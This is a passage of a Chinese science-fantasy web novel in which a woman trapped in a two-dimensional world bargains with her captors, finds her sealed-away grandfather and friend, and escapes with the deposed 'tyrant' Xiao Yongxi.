褚清子瞥了莫凡尔一眼,她原本以为暴君再不济也是个贬义词,可在影像里,他更像是一个……战败者,身负重伤、背负着沉重秘密的流亡者。而欧几里得·方,那个她曾短暂接触过,看似优雅理性的平面人,其内心深处竟藏着如此偏执甚至疯狂的野心。
穿越维度?掠夺资源?这已经超出了她对一个二维世界认知的范畴。
这些信息碎片在她脑海里激烈地碰撞。莫凡尔给她看这个,是为了什么?是展示他们的目的,以此开诚布公地动摇她?还是为了暗示暴君的危险性?或者,两者皆有?
她还有很多疑惑没能解开,这个世界还有很多秘密需要她去做选择。是继续扮演一个被动等待告知的证物,还是主动跳进这个漩涡的中心?
褚清子深吸一口气,再抬起头时,眼神里其实早已没有了之前的迷茫和怯懦,只剩下了想找清真相的锋利。
“莫长官,如果我们达成合作,我还需要更多信息,”她的声音很稳,带着一种不容置疑的坚决,“那个人是怎么成为了你们的暴君……还有,”她顿了顿,目光灼灼地看向莫凡尔,“……我相信你们一定还留着活着的守界人,带我去见他们。”
她提出了这个想法后,莫凡尔的眼神稍微有了些变化。
褚清子其实一直都很清醒,她意识到,在这场博弈中,她和莫凡尔之间,或许存在着某种尚未被言明的共同利益。至少在对找到三维空间的出口上,他们可能是暂时的同路人。
莫凡尔没有很快回应,而是用那双线形的眼睛一直注视着她,良久,他微微颔首,那动作依旧带着平面生物特有的几何感。
“行,要看的还有很多。”他没有再说更多,只是再次抬手,墙壁上的影像开始流转,进入了下一阶段的信息展示。
但这一次,褚清子知道,她不再是那个只需要被动接受的证物了。她正主动伸手,去触碰隐藏在表象下或许是残酷的真相。
顾颜在哪儿?萧永锡来这里的目的是什么?他们为什么穿越的空间和她的截然不同?中间究竟发生了什么,以至于他们受困。这个世界肯定有能束缚住三维人类的力量,她不能大意。
二维空间的难度更高,她不能相信任何人,她只能相信她自己。
18. 18 二维空间(七)
18二维空间(七)
墙壁上的影像仍在展示,但褚清子已经不再盯着那些闪烁的光斑看了。
她垂下眼,目光落在自己交握的双手上。她在思考,也在努力地消化。莫凡尔刚才展示的一切,像一块块复杂的拼图,在她脑中咔哒作响。
莫凡尔静静站在光影流转的墙壁前,像一道修剪完美的圆形剪影,正想继续展示。褚清子却抬头,目光锐利地看向他:“莫长官,如果没有猜错,守界人应该和萧永锡一样,被你们关在某个地方吧。”
莫凡尔线条简单的脸上,眼睛微微眯起。“是,大部分都死了。但还有三个人类,正处于休眠状态。他们的生理指标不稳定,情绪很容易失控,所以我们就让他们暂时沉睡。”他停顿片刻,补充道,“目前你是唯一保持清醒并具备沟通能力的人类。”
莫凡尔的回答,其实给褚清子带来了微妙的期望。她在赌,那三个人里会有一个是顾颜,这些平面人不会舍得让实验体轻易死亡,只会将他们解剖、研究,再利用。
就像欧几里得·方想利用医院那座房子作为锚点,构建穿越通道,去掠夺三维世界一样。这些平面人,也想把她,把萧永锡,把一切与厚度和体积有关的人类和东西,研究成可供他们汲取的“新资源”。
“带我去见他们。”褚清子站起身,动作并不快,却带着一种不容反驳的坚定。她习惯了逃避,但此刻,她的脊背挺得笔直。“我们之前谈过要合作,如果可以见到他们,说不定能给你们带来更多的信息。”她刻意用了莫凡尔之前抛出的诱饵词汇。
她继续说道:“我知道,你们在人类身上花费了很多时间和精力,如果有我的帮助,相信你们的研究会有更多的收获。”
莫凡尔的视线在她脸上停留了片刻,那双线形眼睛里看不出情绪。最终,他只是极其轻微地点了点头,转身走向审讯室的门。
“走吧,跟我来。”他说。
走廊很长,没有任何标识。空气里弥漫着一种消毒水混合着干燥粉尘的气味。褚清子跟在莫凡尔身后半步的距离,目光不断打量。
她在观察。
这个所谓的白色空间,与其说是审讯室,不如说是一座高度智能化的实验室复合体。
莫凡尔带她走出了建筑体,坐上了一辆黑色的车。她坐的空间是个黑色的盒子,看不见前面的司机和前挡玻璃外的路,周围的车窗也是被涂黑。她左右两边都坐着全副武装的调查员,手上也被铐了缠绕的细线。
她不知道他们会带她去哪里,但脑子里一直在不停地回想看见的一切。她想在短时间内找到这个世界的漏洞,就像当初婆婆教她的那样。婆婆曾经说,这世上没有完美无缺的东西,再坚固的锁,也有它的锁芯结构弱点。所以,再严密的规则,也有它的解释盲区。
婆婆当然不懂什么逃出生天,但她懂人心,懂世道,懂怎么在夹缝里给自己挣一口气。
想到婆婆,褚清子心底那点从小习惯的逃避,早已被一种更坚硬的东西取代。她不能垮,不能任人摆布。婆婆留下的那点念想,那座老房子,是她最后的底线,也是她必须回去的理由。
车子行驶了一会儿才停下,大概半个小时的路程。她下车后,发现眼前的建筑就是婆婆去世的那所医院。
莫凡尔站在大门前,这里早已不是开放敞开的大门,而是被紧密关闭的红色铁门。同她在灵堂见到的那扇门,长得一模一样。
门上浮现出一层淡蓝色的光幕,上面跳动着复杂的几何符号。莫凡尔伸出手指,在光幕上快速点触。褚清子注意到,他的指尖在接触光幕时,边缘会短暂地变得略微模糊,像是像素点的扩散,但瞬间又恢复成原状。
门向内开启,冷白色的灯光倾泻而出。
整处大厅和医院的布局一样,前台站着几名调查员,见了莫凡尔都礼貌性地点了点头。不同的是,这里的一切都是平面组成的,看起来特别诡异。
她跟在莫凡尔身后,上了电梯。莫凡尔按的楼层是四楼,出去走廊后,每隔几米都会出现一个房间门。
莫凡尔走到了走廊的尽头,门的两边同样守着两名手持圆规的调查员。推开房间门后,里面的空间比审讯室大很多,中央并排悬浮着三个透明的长方体容器,像是巨大的培养舱,里面灌满了淡蓝色,微微发光的液体。每个容器里,都浸泡着一个模糊的人形轮廓。
褚清子走近几步,屏住呼吸。
左边那个,看起来是个中年男人,黑色的短发像水草一样漂浮着,面容平静,仿佛只是在沉睡。中间那个,身形瘦小,像个少年。而右边……褚清子的瞳孔微微收缩,竟真的是顾颜,她蜷缩着身体,手里似乎还紧紧攥着什么东西。
他们都穿着类似病号服的衣服,质地轻薄,但在这诡异的蓝光下,更显得他们像被封存起来的标本。
“他们的生命体征稳定,但我们封存了他们的意识。”莫凡尔声音特别冷漠,“如果想要他们醒,需要做很多工作。他们的情绪……不太稳定。”
褚清子根本就没认真听,她伸出手,指尖几乎要触碰到冰凉的透明舱壁。她看着沉睡的顾颜,一种难以言喻的悲凉涌上心头。她为什么会这么突兀地出现在这个世界,是不是只有萧永锡知道她来这里的原因。他知道多少?他们又经历了什么?
“你们对他们做了什么?”她问,声音有些发颤,但不是害怕,是愤怒。
“基础监测,仅此而已。”莫凡尔回答得很干脆,“他们的价值在于获取信息,我们不会轻易摧毁样本。”
褚清子冷笑一声,没再说话。她绕着容器慢慢走了一圈,仔细观察着舱体的结构、管线的接口、能量供应的方式。她在脑子里快速绘制着这个房间的布局图,寻找着可能的弱点。
突然,她停在那个中年男人的容器前。他的左手手腕上,有一道浅浅的、几乎看不见的疤痕,形状很奇特,像是一个断裂的圆环,又像一道闪电。
褚清子的心脏猛地一跳。
她认得那个疤痕,是爷爷,她很小记忆里一起生活过的爷爷。后来爷爷外出打工后就再也没有回来,再无音讯。
难道……难道爷爷当年,也是像她一样,莫名其妙地通过灰色空间闯进了这里?
这个念头像一道闪电,劈开了她许多模糊的认知。关于“灰色空间被封”、“老宅风水特殊”的零星信息,似乎一下子有了落点。她一直以为自己的穿越是个意外,但现在看来,这种维度的渗透或者错位,或许早已发生过?
“你发现了什么?”莫凡尔敏锐地察觉到她情绪的变化。
褚清子迅速收敛心神,摇了摇头。“没什么。”她不能暴露这个发现,至少现在不能,这或许是她发现出口的突破点。
她将目光从沉睡者身上移开,转向莫凡尔
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,语气恢复了之前的冷静,甚至带上一丝刻意的疏离:“我需要更多资料。关于所有已知守界者的记录,关于萧永锡他们造成你们世界不稳定的历史数据,还有……”她顿了顿,一字一句地道,“为什么,你们都称萧永锡为暴君?”
莫凡尔凝视她片刻,缓缓点了点头:“资料可以给你看一部分,但你现在需要证明你的价值。合作,需要建立在互相获取价值的基础上。”
“怎么证明?”
“守界人虽然失去了领袖,但他们在平面世界仍有活动痕迹,甚至部分余孽逃脱的建立了一些……地下网络。”莫凡尔的声音压低了些,“他们似乎寻找到了如何变成平面人的方法,让我们找不到他们的踪迹。这种能力,可能蕴含着他们理解维度规则的关键,成了组织也会毁灭我们的世界。我们需要你混入其中,去获取信息再攻破他们。”
成为背叛者吗?褚清子心里白了个眼,原来这才是他们真正想要的。榨干她的价值,再让她这个人类去当诱饵,或者工具。
“如果我拒绝呢?”
莫凡尔没有直接回答,只是周身的压制更强。“你没有选择,如果你不按照我们说的去做,你的下场同我之前说的一样。”他的话很委婉,但威胁之意不言而喻。
褚清子明白了。软禁成为实验品,或者更糟。
她再次看向那三个沉睡的身影,尤其是爷爷和顾颜。一种孤勇,混合着破釜沉舟的决心,在她胸腔里缓缓升起。
“好。”她只能暂时收敛锋芒,“我可以帮你们,但我有条件。”
“你说。”
“第一,在我们合作期间,停止对他们三人的一切非必要监测,并保证他们的生命安全。”这是底线。
莫凡尔略一颔首。“可以。”
“第二,我要知道关于萧永锡所有关联的信息。”
“……可以。”
“第三,”褚清子深吸一口气,迎上莫凡尔的目光,“我需要一定程度的行动自由,以及访问资料的权限。把我关在这个房间里,我什么都做不了。”
这一次,莫凡尔沉默的时间稍长。纯白的房间里,只有能量流动的微弱嗡鸣。
“我会给你一个受限的权限终端。”他最终说道,“你的活动范围,暂时限制在人类可能出现的区域。如果你试图逃跑,或者做出任何危害我们世界安全的行为……”他没有说下去,但意思很清楚。
“成交。”褚清子说。她知道,这只是第一步。拿到权限,意味着她有机会更深入地了解这个世界的规则,才有机会找到真正的漏洞。
而且,她也不确定那些打算毁灭这个世界的人类究竟是善还是恶。
莫凡尔抬手,在空中做了一个手势。房间一侧的墙壁无声滑开,露出另一条更狭窄的通道,尽头似乎是一间小小的起居室。
“这是你的临时居所,终端和活动区域的地图稍后会送来。”他说完,转身离去,没有再多看她一眼。
褚清子站在原地,直到莫凡尔的脚步声彻底消失在走廊尽头。她才缓缓走到爷爷和顾颜的容器前,隔着冰冷的舱壁,用几乎听不见的声音说:
“等着我。我会想办法……带你们回家。”
然后,她挺直脊背,走进了那间属于她的囚笼。逃跑的计划,在脑海中,已经开始像藤蔓一样,沿着这个平面世界冰冷的规则缝隙,悄悄蔓延生长。
19. 二维空间(八)
19二维空间(八)
起居室的空间不大,陈设简单到近乎简陋。里面摆放着一张同样由线条勾勒出的床、桌子,以及一把根本无法入座的椅子。
这里没有窗户,也没有通风口,只有四面墙壁。除了头顶纸片一样的日照灯提供了光亮,四周的暗角都黑漆漆的。与其说是一间起居室,不如说这处空间是另一座牢笼,一个封闭、可控的地方。
褚清子站在眼前这把没有厚度的椅子旁,看着桌子上的一张薄如蝉翼的平板。莫凡尔离开前,将它轻轻放在桌上,没有多余的解释,只留下一句:“权限已开通,但所有访问记录都会被监控。你只需要等在这里,等那些人类知晓了你的信息来救你,我自然会安排你出去,但接近了他们后记住你的承诺。”
她当然记得。
承诺,或者说,交易。用她所谓的“背叛”换取爷爷和顾颜暂时的安宁。
她深吸一口气,伸出手,触碰了光滑的屏幕。
终端亮起,界面简洁到冷酷,只有几个分类图标悬浮在虚空中。她打开资料文件,直接忽略了那些诸如“平面几何基础理论”、“能量循环简史”之类的条目,手指精准地点击“历史档案”的子文件夹,在众多的文档中点开了标记为“萧永锡”的卷宗。
信息像潮水般涌入她的视野,不再是碎片化的图片和视频,而是被系统性整理过的记录。她看到了欧几里得·方和莫凡尔口中那位“暴君”的崛起和没落之路。
文件显示,在实验过程中,萧永锡承认自己并非自愿来到这个世界。但具体如何来,怎么来的原因,他也无法解释。记录里显示,最初整个世界因为萧永锡等人类的出现充满了惊恐和排斥,平面人对他们这些拥有“厚度”的怪物感到恐惧,他们尝试用各种几何武器攻击,却只能在人类的衣服上留下痕迹,根本无法伤及本体。
实力悬殊的差距,造成部分平面人的信仰发生了改变。他们都认为,人类是上天派来的神,是来改变他们这个世界的。
萧永锡被关在实验室的那段时间,外面的人类焦头烂额,终于想到了办法救他出来。他带着他们找到了生存的方法,在平面世界活了下来,他展示了惊人的适应力和学习能力。他很快理解了这是一个规则截然不同的世界,并开始利用他对三维结构的理解,与平面人的科技进行结合。他释放伪装的善意,帮助平面人解决了许多困扰他们已久的问题,提出了诸多“升维”的雏形理论。
他成了英雄,成了这个世界新的造物主。
档案里的照片显示,部分平面人从警惕的观察,变成了狂热的拥戴。很多君主下的重臣,都倒戈了方向,他们想拥立萧永锡为新的王。萧永锡的脸,开始频繁出现在平面城市的各个中心光幕上,他说的话成了至理名言。同时他开始推行改革,优化资源分配,平面世界在他的带领下,进入了一个前所未有的黄金时代。
然而,权力滋生腐败,旧的势力始终都在蠢蠢欲动,他们开始传递生物隔阂、认知差异的信号,平面人和人类之间,维度差异带来的认知鸿沟,终究无法弥合。
档案记录中,舆论开始转向批判。记录显示,萧永锡认为平面世界的规则过于僵化,试图用三维世界的逻辑强行改造二维社会。他想改变平面世界等级森严的秩序,想让平面人不再被划分为不同的几何阶层,这一定会让许多上层领域的门阀贵胄无法接受。
这触犯了平面世界最根本的禁忌,恐慌和反抗在旧主势力中很快蔓延。记录中开始出现英勇的“圆形领主”字样,他曾属于平面世界最尊贵的血脉,应该是统治世界的君主,也是古老秩序的守护者,代表着最纯粹的二维法则。
但因为有萧永锡的存在,他和追随者们被迫离开了上层领域,一直都在寻找时机蠢蠢欲动。
他们散播着萧永锡暴君的谣言,说他独断专行,无谓平面人的死活,只想让人类占据这个世界,想毁灭他们的存在。
推翻萧永锡的反抗预料之中爆发了,悄无声息,却又势不可挡。追求保守的他们联合那些厌恶人类的平面人一起,让萧永锡表面平和的政权被迅速瓦解。他在权力的最巅峰,被昔日的盟友和旧的敌人联手推翻,最终被囚禁在这栋房子里。
褚清子看着那些文字,心里没有丝毫快意,虽然大部分的语义都在描写萧永锡摄政后做了很多有违平面人世界观和生死存亡的行为,但历史的书写从来都是掌权者说了算。
这就是他们口中那个残暴的统治者?一个来自三维世界的异乡人,从挣扎求生,到被奉若神明,再到因试图改变世界本质而被推翻、被污名化……
这中间,有多少又是真相呢?
她想起莫凡尔提到萧永锡时那种复杂的语气。或许,在某些平面人的视角里,萧永锡确实带来了灾难,但也带来了前所未有的变革冲击。
是对是错,莫凡尔只想让她看见他所希望的。
她关掉了萧永锡的档案,继续往其他文档翻看,手指悬在另一个关键词上:“守界人起源”。这的确是需要了解的,她需要知道,爷爷和顾颜,还有那些来到二维世界的人类,是如何与这一切纠缠在一起的。更重要的是,她需要找到出口,逃离这个世界的出口。
终端的权限似乎随着她的深入而有所松动,或者莫凡尔本就有意让她看到某些东西。她找到了一些零散的记录,关于早期守界人的照片和信息。大部分记录都不敢妄下结论,或者语焉不详,但一个反复出现的地点引起了她的注意。
所有守界人出现的地点,都是被作为锚点的那所医院。也就是,她现在被关的地方。
所以,这里应该是回去的关键。可自从她进来后,就一直注意打量周遭的一切,除了所有的物体装潢都是平面的外,这里似乎也没有什么特殊的变化。
他们诞生在这所房子,所以平面人才会将
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这里圈定起来作为研究的锚点。
资料也显示,这些人类其实互不相识,但因为都突兀地出现在同一个地方,所以他们比想象中更团结。守界人中,有两人的影响力和萧永锡一样不容小觑,一个是爷爷褚平生,另一个就是顾颜。
而关在他们中间的那位少年,名叫许志华,也是守界人领袖人物之一。年纪虽小,但头脑灵活,做起事情来从来不拖泥带水。
守界人的领袖团队一共有五位核心人物,排名为第一的是暴君萧永锡,第二的则是爷爷褚清平,第三是顾颜,第五是许志华。而第四,记录里没有写详细的名字,因为这位老四平面人一直都没有捕获到任何的关键信息。
他太神秘了,经常会利用二维世界的漏洞隐蔽身份。人类变成平面人,就是他提出来的理论,并付诸于行动,让逃脱的人类得以伪装,能隐匿在这个世界。
所以,莫凡尔让她接近的关键人物,就是这位老四。
褚清子不敢笃定他是善是恶,因为萧永锡、爷爷和顾颜被关在这里,他却一直没有来施救。
所以,莫凡尔想以她为诱饵,让老四带人来救,也不知道这种计策能不能行得通。
放眼这所房子,早已被调查局加强了守卫,围得水泄不通。老四怎么会为了一个陌生人,冒险去闯入这种龙潭虎穴。除非,莫凡尔给了他们无法拒绝的理由。
她现在被关在这个小房间里,四处碰壁,也没有办法出去探查。
眼下,只能走一步看一步了。
还有萧永锡,按照档案的信息显示,他最后被安置的地方应该也是这里,可为什么他会凭空出现在档案馆,挣脱调查局的监管,难道也是因为老四的手笔?
这所房子离档案馆,距离应该很远。
而如果这个地方是三维世界真实存在的,那婆婆的老房子,是不是也会存在?
是不是在这个世界,会出现她所熟悉的所有区域,不同的是这些建筑只会以二维线条几何的形式呈现?
这个想法萌生的很突兀,但很快深耕在她的内心。自从进入了灰色空间后,她遇见了太多奇怪和难以解释的事情。如今,遇见了同类的异乡人,她内心其实是抱以期待的。
她想更快和隐藏的人类见面,还有萧永锡,他找她应该是有原因的。
她移动手指继续点击了其他的材料,她要在短时间内快速了解这个世界。
信息就像一片浩瀚无垠的数据海洋,无数的碎片化影像和文字从她脑子里呼啸而过。她集中了全部精神,在这些无序的知识碎片中,定位自己需要的东西。
在不断重复查找的影像资料里,她停留在了一段模糊、闪烁不停的动态画面前,里面所呈现的场景特别眼熟。
甚至熟悉到她的发肤毛孔,都起了鸡皮疙瘩。
那所场景里出现的建筑是34号院,是婆婆的老宅,也是她正在装修的房子。
20. 二维空间(九)
20二维空间(九)
褚清子的预感没错,现实世界出现的建筑,在平面世界也同样存在。
所以,这两个世界在某种意义上来说,其实是有关联的。那是不是也意味着,某些属于现实世界的事物,在这里也会存在?
褚清子强迫自己从浩如烟海的数据流中抽离。眼睛有些酸涩,她并非生理上的疲劳,而是大脑过载带来的钝痛。终端屏幕的光映在她脸上,明明灭灭,将她的脸勾勒得更加模糊,仿佛随时会融进这间线条构成的牢笼背景里。
她抬手揉了揉眉心,莫凡尔想要她接触的碎片信息太多,就像散落的拼图,找不到那块能连接一切的板图。唯一确定的是,只要接触了经历过的那些人类,或许就能撬开一条生路。而这所医院,这座房子,是坐标,也是关键,是连接两个世界的脐带。
“可该如何下手呢?”她低声自语,在这片绝对的寂静空间里,连回声都被平滑的墙面吞噬了。
自从进入了灰色空间,她早就习惯了这种自言自语。原来的那个世界,很聒噪也很吵闹。人们总是会见缝插针地抱怨着生活,褚清子作为普通人很容易被卷入他人的情绪漩涡,这种上头的包裹感会让她变得无所适从。
但这里不一样,这里有很多空白的时间,让她可以自主地思考。以前都是朝九晚十的磨日子,哪怕回家也没有多少余量去体验生活。可现在却不一样了,她可以有更多的选择和时间去找寻出路。甚至可以说,去重新认识自己。
她的思绪被一阵极其轻微的震动打断。不是通过空气传导的声音,更像是墙壁本身发出的嗡鸣。紧接着,是某种高频的警报声,但被压制得很低,如同蚊蚋振翅,却透着不容置疑的紧迫。
来了。
褚清子心头被攥紧。莫凡尔的消息放出去了,效果比预想的更快。那些他所说“藏在阴沟里的人类”,终于按捺不住了。
她迅速关闭终端,将它揣在自己的衣兜里。然后几乎是本能地,后退几步,将自己缩进房间最深的阴影角落。她微微低下头,让额前的碎发遮住眼睛,身体放松,呈现出一种习以为常,缺乏存在感的姿态。
被抓的人就该有被抓的样子。
她听着屋外踩乱的脚步声,急促的喧嚷声,还有金属碰撞的锐响。
所有喧嚣在被激荡的那刻后,很快又泯灭成绝对的寂静。
还没有持续几秒。
“砰——!”
一声巨响,起居室的门从外部被暴力破开。
褚清子抬头,脊背抵在冰冷的墙面上,眼神警惕地看着从硝烟里走出的人影。
进来的不是莫凡尔,也不是任何线条构成的平面人。而是一道背着光的人影,看起来很眼熟,周身的气息也很熟悉。
他缓缓走到了日光灯下,在走出暗角的刹那,他的脸褚清子一眼就认了出来。
是萧永锡。
那个被推翻了政权的暴君。
他怎么会……
他现在看起来比在档案馆要冷静很多,尽管衣服残破,身上多处都受了伤,可不管再怎么狼狈,周身仍具有压迫感。他双眼通红,手上还残留着血渍,褚清子甚至能闻到他身上传来淡淡的血腥气。
他的眼睛很疲惫,但并未放松警惕,扫过房间四周后,才将目光牢牢定在了褚清子的身上。
褚清子预想过很多可能,却唯独没料到会是他来找她。那莫凡尔他们呢,他们一定不允许出现这种局面。
亦或是说,萧永锡突然打破了这种局面,外面已经生了变故?
如果说在看见那些绝密资料前,她对萧永锡还心存畏惧,那么现在,她对他的看法已经发生了改变。
萧永锡上前一步,看着褚清子,他说话的时候语气很冷:“你能自己走吗?”
褚清子没有立刻回答,鉴于资料上对他刻意的描述,以及这人通身的气场,她的心跳得厉害。
“我……”她张了张嘴,但转眼又想到既然横生了变化,那是不是就说明爷爷和顾颜都有救了。“我没事,我们先救人。”
萧永锡没有应话也没有催促,只是站在门口那片被血腥气浸染的昏暗里,用那双通红的眼睛看着她。
褚清子深吸口气,压下胸腔里乱撞的心脏。她强迫自己不去看门外溅在墙壁上,已经变成暗红色的痕迹。她站起身,经过他身边时,铁锈的血腥味更浓了。
然而,下一秒,她的注意力却转向了眼前空无一物的三个容器。没错,是三个空空如也,根本没有装任何东西的容器。
他们都不见了。
“他们去哪了?”褚清子下意识地转眼看向萧永锡。
“我来的时候,他们就不在了。”萧永锡情绪很稳定,“莫凡尔还是不蠢。”
他只说了这句话,褚清子就听懂了大半。
所以,是莫凡尔提前将他们转移隐藏了?
褚清子听了,攥紧了拳头。早该想到的,当初他让人类来救她,肯定会经过这个空间。同类之间不可能见死不救,若真被他们得逞了,到时候损失的就是四个人类样本了。难怪他一开始这么笃定她不会背叛,原来他一直都留了后手。
“走吧,带路。”她没有任何犹豫,毕竟爷爷和顾颜还要等她去救。
她要出去,找到那群隐匿在平面人中间的人类。至于是否合作,只能走一步算一步。
萧永锡没再废话,转身便走。他的步伐很快,却不显仓促。褚清子紧跟在他身后,视线飞快地扫过四周。
看来,萧永锡来势汹汹。这里刚经历了一场恶战,只是除了血迹,却不存在任何平面人的尸首。
他们离开实验室,走在由线条构成的走廊上,地板是苍白的平面。两侧的墙壁不时闪过扭曲的光影,显然是被萧永锡暴力破坏后尚未完全修复的监控节点。看来,他来时的路并非畅通无阻。
“他们……莫凡尔他们呢?”她忍不住低声问。
“暂时被引开了。”萧永锡的回答简洁到冷酷,“我们时间不多。”
褚清子明白了,这不是营救,是突袭。是利用莫凡尔计划中的漏洞,制造出一个短暂窗口。让他误以为来的是人类,实际却是萧永锡。
她不知道萧永锡是怎么离开档案馆,脱离欧几里得·方和莫凡尔的眼线,也不知道他对她为什么穷追不舍。但眼下,跟着他却是唯一的出路。
他们穿过一道又一道由光线构成的门禁,有些门甚至还在闪烁着报警的微光。他们走的不是通往大门的路,而是另辟蹊径往下沉车库走。萧永锡对这里的路很熟悉,总能快速领着褚清子避开增援搜索的平面人。
有一次,他甚至拉着褚清子闪进一个几乎不存在的夹角阴影里,屏息凝神地等一队全副武装的平面人疾步跑过。
那些平面人的身体由纯粹的几何线条组成,动作僵硬而精准,就像设定好程序的傀儡。
褚清子缩在萧永锡身后,看着那些线条构成的身影从咫尺之外掠过,不免屏住了呼吸。
等守卫远去,他立刻带着她继续前进。他的手腕很有力,握着她的手臂时,指尖冰凉,却带着一种不容置疑的导向性。
只是,她还没问清楚他为什么要救她。
“我看了你的档案,”褚清子忽然说,“平面人都说,你试图改变他们的世界。”
萧永锡脚步没有停顿,甚至连头也没回,只有冰冷的声音传来:“记录从来都是胜利者书写。而且,我的目的从始至终都不是留在这儿。”
他的语气带着一种近乎厌恶的冷静,“但现在,要在这里生存,最重要的就是弄清楚这个世界的规则。可我动了他们太多的根基和观念。对他们而言,改变就意味着毁灭。”
褚清子沉默了。
她想起资料里提到的“
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圆形领主”,那些古老、纯粹的二维贵族。是啊,谁会愿意从高高在上的圆,变成一个可以被随意重塑的普通图形呢?萧永锡的理性和改革,在维护旧秩序的平面人看来,恐怕就是最疯狂的暴政。
“那你为什么……”她顿了顿,“为什么要来救我?”
这次,萧永锡终于停下了脚步。他转过身,那双疲惫的眼睛审视着她,仿佛要将她看穿。他停留了几秒,才开口。
“你和我是同类。”他直言不讳,“我没有不救你的义务。”
没等她细想,萧永锡已经继续向前。“走吧,老四在接应点等我们。”
“老四?”褚清子跟上,她终于能见到排序第四的这位神秘守界人了。
“嗯,你等会就能认识他。”萧永锡拐过一个弯,继续解释道,“他能利用二维世界的规则漏洞,替人类隐藏身形。”
褚清子想起终端里关于这位神秘老四的描述:“经常利用二维世界的漏洞隐蔽身份”,“让逃脱的人类得以伪装”。或许萧永锡的越狱、成功逃脱,背后应该都有这个人的影子。只是,莫凡尔没想到,来救她的人会是萧永锡。
两方博弈,她只是棋盘上那颗突然被移动的棋子。
他们抵达了负一楼的车库门前,可这里却成了巨大的空洞。在他们脚下是深不见底的黑暗,只有对面不远处有微弱的光线。
褚清子有些无措地看向萧永锡。
萧永锡却异常冷静。他蹲下身,用手指在虚空中的某个点快速敲击了几下,随着他的动作,周围的线条开始微妙地重组。
“这个世界的规则很简单,”他一边操作一边解释,更像是在自言自语,“我们作为人类,可以尝试改变他们的结构,但前提是必须遵循能量守恒,这样重组后的结构才能稳定。”
褚清子看着他,这个男人,即使在这样紧张的逃亡时刻,依然很冷静。
突然,对面那点微光迅速扩大,一道由不稳定光线凭空架起,窄得几乎没有厚度的桥突然出现。
“走吧,别往下看。”萧永锡直起身,语气没有任何波澜。
褚清子没有犹豫,她低头看着脚前那道脆弱的光桥,深吸一口气,踏了上去。
桥面传来虚幻的触感,每一步都让她感觉自己会坠入无尽的虚空。但她强迫自己不看下方,加快脚步。萧永锡紧随其后,他的脚步依旧稳定,仿佛行走在坚实的地面。
就在他们即将到达对岸时,身后传来剧烈的骚动和尖锐的警报声。是莫凡尔增援的追兵,他们还是来了。
“快!”褚清子忍不住回头喊了一声。
萧永锡已经跃上对岸,他反手抓住褚清子的手腕,用力将她拉离光桥。
几乎在他们脱离的瞬间,那道光桥剧烈闪烁了几下,如同破碎的镜面,寸寸崩裂,消失在黑暗中。而对岸,无数由线条组成的平面人正蜂拥而至,冰冷的几何形体在光芒下闪烁着不祥的光泽。
褚清子喘着气,脸色苍白。萧永锡松开她的手,目光扫过这片新的区域。这里是一个巨大的车库,停了各种由线条勾勒出的车辆。
“这边。”一道声音从一个平面车辆后面传来。
褚清子循声望去,只见一个穿着灰色卫衣的女孩从阴影里探出头来。她看起来不过十岁,面容清秀,眼神却异常老练沉稳。
“萧医生。”她语速很快,带着一种超越年龄的镇定,“他们在前面等着,那边有个临时通道,能通到医院外围的旧管道系统。但追兵很快会封锁这里,我们必须马上走。”
萧永锡点了点头,没有多余的话,直接示意褚清子跟上女孩。
车库里光线昏暗,路径复杂,但女孩显然对这里极为熟悉,在车库里穿梭自如。萧永锡断后,始终保持着高度的警觉。
一种奇异的感觉在褚清子心中滋生。恐惧依然存在,但另一种东西正在破土而出。